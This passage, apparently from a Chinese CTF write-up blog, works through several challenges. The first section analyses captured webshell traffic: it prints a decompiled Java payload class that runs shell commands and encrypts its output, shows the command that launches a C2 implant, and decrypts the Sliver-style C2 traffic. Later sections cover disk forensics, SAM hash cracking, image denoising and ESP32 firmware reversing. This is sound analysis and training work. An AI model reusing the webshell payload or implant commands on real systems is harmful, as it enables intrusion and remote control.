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

之后继续这样提取后续的流量,可以还原出发送的文件

省略提取过程……

之后在40553流的最后一次请求响应中,看到传输完毕。

image-20260315121442874

响应:

image-20260315121458366

[
{"size":"4096","perm":"rwxr-xr-x","name":".","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"4096","perm":"rwxr-xr-x","name":"..","lastModified":"2026/01/06 03:43:19","type":"directory"},
{"size":"10790868","perm":"rw-r--r--","name":"out","lastModified":"2026/01/06 05:59:09","type":"file"}
]

上传已成功: 目录中现在多了一个名为 out 的文件。其大小为 10,790,868 字节(约 10.29 MB)。

在流40562,我们看到了最后的请求:

image-20260315121528985

image-20260315121545392

package org.zhnnj;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Imrdoaaxs {
public static String cmd;
public static String path;
public static String whatever;
private static String status = "success";
private Object Request;
private Object Response;
private Object Session;
public Imrdoaaxs() {
cmd = "";
cmd = cmd + "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=";
path = "";
path = path + "/var/tmp/";
super();
}
public boolean equals(Object obj) {
HashMap result = new HashMap();
boolean var13 = false;
Object so;
Method write;
label77: {
try {
var13 = true;
this.fillContext(obj);
result.put("msg", this.RunCMD(cmd));
result.put("status", status);
var13 = false;
break label77;
} catch (Exception var17) {
result.put("msg", var17.getMessage());
result.put("status", "fail");
var13 = false;
} finally {
if (var13) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var14) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var15) {
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
}
return true;
}
private String RunCMD(String cmd) throws Exception {
Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
String result = "";
if (cmd != null && cmd.length() > 0) {
Process p;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset));
String disr;
for(disr = br.readLine(); disr != null; disr = br.readLine()) {
result = result + disr + "\n";
}
br = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset));
for(disr = br.readLine(); disr != null; disr = br.readLine()) {
result = result + disr + "\n";
}
}
return result;
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String var4 = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "1f2c8075acd3d118";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}

执行了命令:

cmd = "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=";

黑客切换到了 /var/tmp/ 目录

/out 表明他已经赋予了该文件执行权限(可能是通过上一条未显示的 chmod 或者该环境默认允许执行),并开始运行这个文件

—aes-key 后面跟着的 Base64 字符串(IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=)是一个通信密钥。这说明 out 运行后,它会建立一个新的加密通道,而这个密钥就是用来解密后续 C2(控制端)指令的

(chmod +x out 后,受害机立刻发起 10.1.33.69<38162> -> 10.1.243.155<7788> 反连,tcp.stream = 40563)

之后的流量即为C2通信

image-20260315121633217

image-20260315121646398

1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4

分析特征,很明显是Sliver C2的特征,即:

特征数据对比
分块传输4字节长度 + payload匹配 Sliver 数据块结构
小端长度1f000000 → 31 bytesSliver 也是小端长度
二进制/加密hex payloadSliver 默认加密传输
分块顺序多块连续Sliver 会按 sequence/block 发送

或者通过分析提取出来的out文件:

/var/tmp/out 是一个 PyInstaller 打包的 Python implant,协议是:
4 字节小端长度
后跟 AES-GCM 数据,格式 nonce(12) + ciphertext + tag(16)

我们已经有key: IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=

写脚本进行解密:

import binascii
import base64
from Crypto.Cipher import AES
def decrypt_sliver():
key_b64 = "IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="
key = base64.b64decode(key_b64)
raw_data = [
"33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a",
"5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c",
"e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234",
"bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f",
"be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871",
"2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a",
"8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95",
"5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5",
"410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6",
"7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4"
]
for hex_str in raw_data:
data = binascii.unhexlify(hex_str)
nonce = data[:12]
tag = data[-16:]
ciphertext = data[12:-16]
try:
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
print(decrypted.decode('utf-8', errors='replace'))
except Exception:
pass
if __name__ == "__main__":
decrypt_sliver()

得到结果:

pwd
/var/tmp
ls
out
echo Congratulations
Congratulations
echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
echo bye
bye

这里我们得到了传输的内容,即:

3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi 放在cyberchef自动识别解密后得到flag:

image-20260315121749485

DesCTF 2026#

张三的秘密#

使用FTK imager image mount…

image-20260313162113840

挂载成功:

image-20260313162144825

先浏览一般主要的文件夹:

Users\张三\Pictures\Screenshots有两张批注,

其中一个没有内容,左上角有一个fakeflag:

image-20260313162327955

image-20260313162341173

第二张发现了hint,结合题目信息,知道了这是Shamir’s Secret Sharing,需要五个密钥,在上图中已经发现两个。

继续查找,桌面上有一张二维码,扫描得到第三个key:

image-20260313162542804

image-20260313162650642

第四个key是在桌面的壁纸中,需要找到壁纸文件夹,在png的末尾找到key:

\Users\张三\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles

image-20260313163042692

image-20260313163100520

第五个暂时不知道如何出的…

又是羡慕火眼的一天

楚慧杯2026#

Time_and_chaos#

给了1-8个png,flag.png,flag.txt。

可以发现的是这些png有很多的噪点,不过可以隐约看到右上角有内容:

image-20260313123431558

那么我们要做的其实是对图片进行降噪处理。

可以利用多张相似图像的统计特性进行图像降噪和恢复,通过合并多张带噪图像,使用统计方法去除噪声,最终恢复出清晰的flag图像:

import os
from pathlib import Path
import numpy as np
from PIL import Image
def load_images(paths):
"""读取图片并转换为 numpy 数组"""
return np.stack([
np.asarray(Image.open(p).convert("RGB"), dtype=np.float32)
for p in paths
])
def denoise(images):
"""
使用 median + mean 混合降噪
median 去除离群噪声
mean 平滑随机噪声
"""
median_img = np.median(images, axis=0)
mean_img = np.mean(images, axis=0)
# 混合权重
result = 0.7 * median_img + 0.3 * mean_img
return np.clip(result, 0, 255).astype(np.uint8)
def save_image(array, path):
Image.fromarray(array).save(path)
def recover(paths, output):
print(f"[+] 载入 {len(paths)} 张图片")
images = load_images(paths)
print("[+] 开始降噪处理")
clean = denoise(images)
print("[+] 水平翻转图像")
clean = np.fliplr(clean)
save_image(clean, output)
print(f"[✓] 完成 -> {output}")
if __name__ == "__main__":
candidates = [f"{i}.png" for i in range(1, 9)] + ["flag.png"]
paths = [p for p in candidates if Path(p).exists()]
if not paths:
print("[-] 未找到任何图片")
exit()
recover(paths, "recovered_flag.png")

得到恢复图像:

image-20260313123717593

可以看到一部分flag: DASCTF{Logistic_and 下一部分flag显然是flag.txt了,可以很明显看出零宽字符的隐写特征:

image-20260313123844845

image-20260313123903838

得到第二部分flag

SAM_and_Steg#

给了sam和system文件。

使用samdump2提取hash:

image-20260313125001557

476b4dddbbffde29e739b618580adb1e

使用hashcat爆破:

image-20260313125300202

得到密码:!checkerboard1

binwalk检测system可以发现文件尾部嵌入了一张jpg图片:

image-20260313125618696

提取图片:

image-20260313125810153

image-20260313125822454

使用密码解密,可以得到一个aes文件:

image-20260313125927952

根据图片上的提示知道是 openssl,进行解密:

密码在sam的尾部:

image-20260313130716445

openssl&nbsp;enc -d -aes-256-cbc -md sha256 -k p@s4w0rd -in AES256 -out&nbsp;1.gztar&nbsp;-xvf&nbsp;1.gz

DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}

VNCTF2026#

ez_iot#

先看附件,一个bin和capture.raw,

file命令查看,可以发现bin为Xtensa架构的可执行文件。

image-20260207121049677

由于这是iot题目,而在iot背景中,Xtensa架构通常用于ESP芯片的固件,可以猜到,题目的逻辑被编译到了这个esp固件里面。

使用ghidra进行逆向分析:

app_main是esp32的入口函数:

image-20260210133000134

在app_main函数中,ESP-NOW通信的设置和初始化在esp_now_init()(行0xf3-0xfd),但实际的数据发送是在sender_task任务中完成的。这是典型的ESP32编程模式:在app_main中初始化,在任务中执行主逻辑。

分析sender_task函数:

image-20260210133535742

void sender_task(void *pvParameter)
{
int iVar1;
FILE *fp;
long lVar2;
size_t len;
int iVar3;
int iVar4;
undefined1 auStack_2c0 [4];
undefined1 uStack_2bc;
undefined1 uStack_2bb;
undefined1 uStack_2ba;
undefined1 uStack_2b9;
undefined1 uStack_2b8;
undefined1 uStack_2b7;
undefined1 uStack_2b6;
undefined1 uStack_2b5;
undefined1 auStack_2b4 [16];
undefined1 auStack_2a4 [222];
uint8_t auStack_1c6 [192];
uint8_t auStack_106 [208];
uint8_t auStack_36 [18];
size_t asStack_24 [9];
/* Unresolved local var: FILE * f@[???]
Unresolved local var: long file_size@[???]
Unresolved local var: uint32_t total_chunks@[???]
Unresolved local var: uint8_t[250] packet@[???]
Unresolved local var: uint8_t[192] chunk_data@[???]
Unresolved local var: uint8_t[208] encrypted@[???]
Unresolved local var: uint8_t[16] iv@[???]
Unresolved local var: uint32_t seq@[???] */
fp = fopen(&DAT_3c095278,&DAT_3c095274);
if (fp == (FILE *)0x0) {
esp_log_timestamp();
esp_log((esp_log_config_t)0x1,&DAT_3c09528c,&DAT_3c095298);
esp_log_timestamp();
esp_log((esp_log_config_t)0x1,&DAT_3c09528c,&DAT_3c0952c8);
vTaskDelete((TaskHandle_t)0x0);
return;
}
fseek(fp,0,2);
lVar2 = ftell(fp);
fseek(fp,0,0);
iVar1 = (lVar2 + 0xbf) / 0xc0;
esp_log_timestamp();
esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c095314);
esp_log_timestamp();
esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c095350);
esp_log_timestamp();
esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c095378);
esp_log_timestamp();
esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c09539c);
esp_log_timestamp();
esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c095314);
iVar4 = 0;
do {
while( true ) {
/* Unresolved local var: size_t bytes_read@[???]
Unresolved local var: size_t encrypted_len@[???]
Unresolved local var: size_t packet_len@[???]
Unresolved local var: esp_err_t result@[???] */
while (len = fread(auStack_1c6,1,0xc0,fp), len == 0) {
esp_log_timestamp();
esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c0953c0);
fseek(fp,0,0);
vTaskDelay(300);
iVar4 = 0;
}
esp_fill_random(auStack_36,0x10);
asStack_24[0] = 0;
iVar3 = aes_encrypt(auStack_1c6,len,auStack_36,auStack_106,asStack_24);
if (iVar3 == 0) break;
esp_log_timestamp();
esp_log((esp_log_config_t)0x1,&DAT_3c09528c,&DAT_3c0953f8);
}
memcpy(auStack_2c0,MAGIC,4);
uStack_2bc = (undefined1)iVar4;
uStack_2bb = (undefined1)((uint)iVar4 >> 8);
uStack_2ba = (undefined1)((uint)iVar4 >> 0x10);
uStack_2b9 = (undefined1)((uint)iVar4 >> 0x18);
uStack_2b8 = (undefined1)iVar1;
uStack_2b7 = (undefined1)((uint)iVar1 >> 8);
uStack_2b6 = (undefined1)((uint)iVar1 >> 0x10);
uStack_2b5 = (undefined1)((uint)iVar1 >> 0x18);
memcpy(auStack_2b4,auStack_36,0x10);
memcpy(auStack_2a4,auStack_106,asStack_24[0]);
iVar3 = esp_now_send(s_broadcast_mac,auStack_2c0,asStack_24[0] + 0x1c);
if (iVar3 == 0) {
esp_log_timestamp();
